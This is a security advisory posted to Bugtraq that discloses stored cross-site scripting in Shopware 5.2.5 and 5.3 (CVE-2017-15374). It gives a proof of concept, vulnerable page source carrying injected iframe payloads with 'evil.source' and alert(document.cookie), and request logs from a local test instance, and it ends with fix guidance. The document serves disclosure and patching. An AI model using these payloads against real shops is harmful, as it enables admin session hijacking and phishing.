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Shopware 5.2.5 & v5.3 - Multiple Cross Site Scripting Web Vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Shopware 5.2.5 & v5.3 - Multiple Cross Site Scripting Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 19 Jan 2018 21:56:33 +0100
Document Title:
===============
Shopware 5.2.5 & v5.3 - Multiple Cross Site Scripting Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1922
Shopware Security Tracking ID: SW-19834
Security Update:
http://community.shopware.com/Downloads_cat_448.html#5.3.4
http://community.shopware.com/_detail_2035.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-15374
CVE-ID:
=======
CVE-2017-15374
Release Date:
=============
2017-09-05
Vulnerability Laboratory ID (VL-ID):
====================================
1922
Common Vulnerability Scoring System:
====================================
4.4
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Shopware is a modular online shop system that is since 2004 developed in
germany. It is available both as
an open source software as well as in commercial editions. The program can be
extended in its functions by
installing additional plugins. An open API allows third-party systems, such as
payment services or ERP
systems, to be connected. The system is multi shop capable it can thus be
generated within an installation
several shops in different domains. A multi-client capability (complete
separation of multishops in the
administration area) is by default, but can be achieved in the cluster.
(Copy of the Vendor Homepage: https://en.shopware.com/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple stored
cross site scripting vulnerability in the official Shopware v5.2.5 & 5.3 CMS.
Vulnerability Disclosure Timeline:
==================================
2016-10-07: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security GmbH)
2016-10-08: Vendor Notification (Shopware Security Team)
2016-**-**: Vendor Response/Feedback (Shopware Security Team)
2017-**-**: Vendor Fix/Patch (Shopware Service Developer Team)
2017-09-05: Public Disclosure (Vulnerability Laboratory)
2017-10-25: Security Acknowledgements (Shopware Developer Team)
2017-10-25: Security Acknowledgements (Shopware Security Team)
Discovery Status:
=================
Published
Affected Product(s):
====================
Shopware AG
Product: Shopware - Content Management System (Web-Application) 5.2.5
Shopware AG
Product: Shopware - Content Management System (Web-Application) 5.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
The shopware v5.2.5 - v5.3 is vulnerable to cross site scripting in the
customer and order section of the content management
system backend modules. Remote attackers are able to inject malicious script
code to the firstname, lastname or order
input fields to provoke a persistent execution in the customer and orders
section of the backend. The execution occurs
in the shopware administrator backend listing when processing to preview the
customers (kunden) or orders (bestellungen).
The injection can be processed by interaction via user registration or by
manipulation of the order information inputs.
The web issue can be exploited by low privileged user accounts against higher
privileged admin- oder moderator-accounts.
The security risk of the bugs are estimated as medium with a cvss (common
vulnerability scoring system) count of 4.4.
Exploitation of the issue requires a low privileged web-application user
account and low or medium user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing
mails, session hijacking, persistent
external redirect to malicious sources and application-side manipulation of
affected or connected module context.
Request Method(s):
[+] POST (Registration)
[+] POST (Order Item)
[+] POST (Profile Update)
Vulnerable Input(s):
[+] Firstname
[+] Lastname
[+] Order Name
Affected Module(s):
[+] Kunden (Customers)
[+] Bestellungen (Orders)
Proof of Concept (PoC):
=======================
The cross site vulnerabilities can be exploited by remote attackers with low
privileged shopware user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the the browser and surf to the target shopware v5.2.5 web-application
2. Move to the registration formular
3. Include a script code payload with a iframe src onload tag to the
firstname, lastname and name parameters
4. Submit the request via POST method to register the account
5. Move to the inbox and verify via link the account to activate
Note: Now the payloads are executable saved to the Kunden (Customer) section in
the backend
6. The administrator visits in the next step the Kunden (Customer) section to
preview
7. The script code payload executes in the customers list
8. As next step the attacker places an order via shop
Note: The order name manipulation via registration is as well able to execute
script code the context
9. The administrator visits in the next step the Bestellungen (orders) section
to preview
10. The script code payload executes in the orders list
11. Successful reproduce of the both cross site vulnerabilities!
Note: Attackers are able to inject malicious redirects, frames with payloads or
other script code tags.
The basic web validation filter of the shopware content management system does
not encode the list context.
PoC: Vulnerable Source (Execution in Orders - Bestellungen)
<tr class="x-grid-row x-grid-row-alt"><td class=" x-grid-cell
x-grid-cell-gridcolumn-1496
x-grid-cell-special x-grid-cell-row-checker x-grid-cell-first"><div
class="x-grid-cell-inner "
style="text-align: left; ;"><div
class="x-grid-row-checker"> </div></div></td><td class="
x-grid-cell x-grid-cell-gridcolumn-1428 "><div class="x-grid-cell-inner "
style="text-align: left;
;">20.08.2016 08:34</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1429
"><div class="x-grid-cell-inner " style="text-align: left;
;">20044</div></td><td class="
x-grid-cell x-grid-cell-gridcolumn-1430 "><div class="x-grid-cell-inner "
style="text-align: left; ;">
536,80</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1431 "><div
class="x-grid-cell-inner "
style="text-align: left; ;"> </div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1432 ">
<div class="x-grid-cell-inner " style="text-align: left;
;">Rechnung</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1433 "><div class="x-grid-cell-inner "
style="text-align: left; ;">Standard Versand</div></td>
<td class=" x-grid-cell x-grid-cell-gridcolumn-1434 "><div
class="x-grid-cell-inner " style="text-align: left; ;">
Hauptshop Deutsch</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1435
"><div class="x-grid-cell-inner "
style="text-align: left; ;">Mar'Da>"<iframe src="evil.source"
onload="alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!]" <=""
korat="">"<iframe src=evil.source onload=alert("PTEST")[PERSISTENT SCRIPT CODE
EXECUTION!] <</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1436 " ><div class="x-grid-cell-inner "
style="text-align: left; ;"><a href="mailto:mardakorat@xxxxxxxx";
data-qtip="mardakorat@xxxxxxxx">mardakorat@xxxxxxxx</a></div></td><td class="
x-grid-cell x-grid-cell-gridcolumn-1437
" ><div class="x-grid-cell-inner " style="text-align: left;
;">Offen</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1438 " ><div class="x-grid-cell-inner "
style="text-align: left; ;">Offen</div></td>
<td class=" x-grid-cell x-grid-cell-actioncolumn-1405 x-action-col-cell
x-grid-cell-last" >
<div class="x-grid-cell-inner " style="text-align: left; ;">
<img alt=""
src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-action-col-icon x-action-col-0 sprite-user " data-qtip="Kunde öffnen"
data-action="openCustomer" />
<img alt=""
src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-action-col-icon x-action-col-1 sprite-minus-circle-frame "
data-qtip="Bestellung löschen"
data-action="deleteOrder" /><img alt=""
src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-action-col-icon x-action-col-2 sprite-pencil " data-qtip="Zeige
Details" data-action="editOrder" /></div></td></tr>
<tr class="x-grid-row " ><td class=" x-grid-cell x-grid-cell-gridcolumn-1496
x-grid-cell-special
x-grid-cell-row-checker x-grid-cell-first" ><div class="x-grid-cell-inner "
style="text-align: left; ;">
<div class="x-grid-row-checker"> </div></div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1428 " >
<div class="x-grid-cell-inner " style="text-align: left; ;">19.08.2016
15:50</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1429 " ><div class="x-grid-cell-inner "
style="text-align: left; ;">20051</div></td>
<td class=" x-grid-cell x-grid-cell-gridcolumn-1430 " ><div
class="x-grid-cell-inner "
style="text-align: left; ;">308,75</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1431 " >
<div class="x-grid-cell-inner " style="text-align: left; ;"> </div></td>
PoC: Vulnerable Source (Execution in Customers - Kunden)
<div class="x-window x-customer-detail-window x-layer x-window-default
x-closable x-window-closable x-window-default-closable"
style="left: 124px; top: 26px; width: 1093px; height: 458px; z-index: 39041;"
id="customer-detail-window-2311" tabindex="-1">
<div style="-moz-user-select: none; left: -1px; top: -1px; width: 1093px;"
class="x-window-header x-window-header-draggable
x-docked x-window-header-default x-horizontal x-window-header-horizontal
x-window-header-default-horizontal x-top
x-window-header-top x-window-header-default-top x-docked-top
x-window-header-docked-top x-window-header-default-docked-top
x-unselectable" id="customer-detail-window-2311_header"><div style="width:
1091px;" id="customer-detail-window-2311_header-body"
class="x-window-header-body x-window-header-body-default
x-window-header-body-horizontal x-window-header-body-default-horizontal
x-window-header-body-top x-window-header-body-default-top
x-window-header-body-docked-top x-window-header-body-default-docked-top
x-window-header-body-default-horizontal x-window-header-body-default-top
x-window-header-body-default-docked-top x-box-layout-ct">
<div style="width: 1066px; height: 154px;"
id="customer-detail-window-2311_header-innerCt" class="x-box-inner "
role="presentation"><div id="customer-detail-window-2311_header-targetEl"
style="position:absolute;width:20000px;
left:0px;top:0px;height:1px"><div class="x-component
x-window-header-text-container x-box-item x-component-default"
style="text-align: left; left: 0px; top: 0px; margin: 0px; width: 1049px;"
id="customer-detail-window-2311_header_hd">
<span id="customer-detail-window-2311_header_hd-textEl"
class="x-window-header-text x-window-header-text-default">
Kundenkonto: Mar'Da"><iframe src="evil.source"
onload="alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!]" <=""
korat"=""><iframe src=evil.source onload=alert("PTEST")[PERSISTENT SCRIPT CODE
EXECUTION!] < (20019)</iframe></span></div>
<div class="x-tool x-box-item x-tool-default" style="width: 15px; height: 15px;
left: 1051px; top: 70px; margin: 0px;" id="tool-2312">
<img id="tool-2312-toolEl"
src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-tool-close" role="presentation"></div></div></div></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST
http://shopware.localhost:8080/backend/customer/save?_dc=1471541475086&customerID=22
Mime Type[application/json]
Request Header:
Host[shopware.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0]
Content-Type[application/json]
X-Requested-With[XMLHttpRequest]
Referer[http://shopware.localhost:8080/backend/]
Cookie[SHOPWAREBACKEND=fv4u2kg63p3ff3ht6kd6var803; test;
x-ua-device=desktop;
session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
Connection[keep-alive]
POST-Daten:
{"id":22,"groupKey":"EK","email":"TEST@xxxxxxx","active":true,"accountMode":0,"confirmationKey":
"","paymentId":5,"firstLogin":"2016-08-18T00:00:00","lastLogin":"2016-08-18T17:22:23","newsletter":0,"validation":0,"
languageId":1,"shopId":1,"priceGroupId":0,
"internalComment":"TEST-comment","failedLogins":0,"referer":"","default_billing_address_id":22,"
default_shipping_address_id":22,
"newPassword":"","amount":402.9,"orderCount":1,"canceledOrderAmount":
0,"shopName":"Hauptshop
Deutsch","language":"Deutsch","birthday":"16.05.1985","title":"","
salutation":"mr","firstname":"TEST[INJECTED SCRIPT CODE]>"<iframe
src=./evi.source onload=alert(document.cookie) <","
lastname":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source
onload=alert(document.cookie) <",
"number":"20028","billing":[{"id":22,"salutation":"mr","company":"","
department":"","firstName":"TEST[INJECTED SCRIPT CODE]>"<iframe
src=./evi.source onload=alert
(document.cookie) <","title":"","lastName":"TEST[INJECTED SCRIPT CODE]>"<iframe
src=./evi.source onload=alert(document.cookie) <",
"street":"Teststrau00dfe","zipCode":"72202","city":"Nagold","additionalAddressLine1":"","additionalAddressLine2":"",
"salutationSnippet":"Herr","countryId":2,"number":"","phone":"","vat
Id":"","stateId":null}],"shipping":[{"id":23,"salutation":"mr","company":"","department":"",
"firstName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source
onload=alert(document.cookie) <","title":"",
"lastName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source
onload=alert(document.cookie) <",
"street":"Teststrau00dfe","zipCode":"72202","city":"Nagold","additionalAddressLine1":"",
"additionalAddressLine2":"","salutationSnippet":"Herr","countryId":2,"stateId":null}],"debit":
[],"paymentData":[{"accountNumber":"","bankCode":"","bankName":"","accountHolder":"","bic":"",
"iban":"","useBillingData":false,"id":null}]}]
Response Header:
Server[nginx/1.8.1]
Content-Type[application/json]
Connection[keep-alive]
Set-Cookie[SHOPWAREBACKEND=88g31dgs8lem6cun3ldjq4l3f2; path=/backend/;
HttpOnly]
-
Status: 200[OK]
POST http://shopware.localhost:8080/backend/Log/createLog
Mime Type
[application/json]
Request Header:
Host[shopware.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://shopware.localhost:8080/backend/]
Cookie[SHOPWAREBACKEND=88g31dgs8lem6cun3ldjq4l3f2; test;
x-ua-device=desktop;
session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
Connection[keep-alive]
POST-Daten:
type[backend]
key[Kunden]
text[Kunde%2020028%20wurde%20gespeichert]
user[Demo-Admin]
value4[]
Response Header:
Server[nginx/1.8.1]
Content-Type[application/json]
Connection[keep-alive]
Set-Cookie[SHOPWAREBACKEND=hmb3lqokn3bkr6kvpo1o6vi4o6; path=/backend/;
HttpOnly]
-
Status: 200[OK]
GET http://shopware.localhost:8080/backend/evil.source[PERSISTENT SCRIPT CODE
EXECUTE!]
Mime Type[text/html]
Request Header:
Host[shopware.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0]
Referer[http://shopware.localhost:8080/backend/]
Cookie[SHOPWAREBACKEND=p56ursgfdc6f1tbh0s35detvc5; test;
x-ua-device=desktop;
session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
Connection[keep-alive]
Response Header:
Server[nginx/1.8.1]
Content-Type[text/html; charset=UTF-8]
Connection[keep-alive]
Set-Cookie[SHOPWAREBACKEND=v3mhes99ai1hsolj8vddjkbci2; path=/backend/;
HttpOnly]
Reference(s):
http://shopware.localhost:8080/
http://shopware.localhost:8080/backend/
http://shopware.localhost:8080/backend/Log/
http://shopware.localhost:8080/backend/customer/
http://shopware.localhost:8080/backend/Log/createLog
http://shopware.localhost:8080/backend/customer/save
http://shopware.localhost:8080/backend/AttributeData/
http://shopware.localhost:8080/backend/AttributeData/list
Solution - Fix & Patch:
=======================
The xss vulnerability can be patched by a secure parse of the customer (kunden)
and orders (bestellungen) context listings.
Parse or escape the context and disallow special chars during the registration
or add to prevent further script code injection attacks.
The vulnerability can be resolved by an update to version 5.3.4 that is
delivered by the manufacturer. The issue risk is marked as moderate.
Security Risk:
==============
The security risk of the stored cross site scripting vulnerabilities in the
shopware cms are estimated as medium. (CVSS 4.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
[http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]
Disclaimer & Information:
=========================
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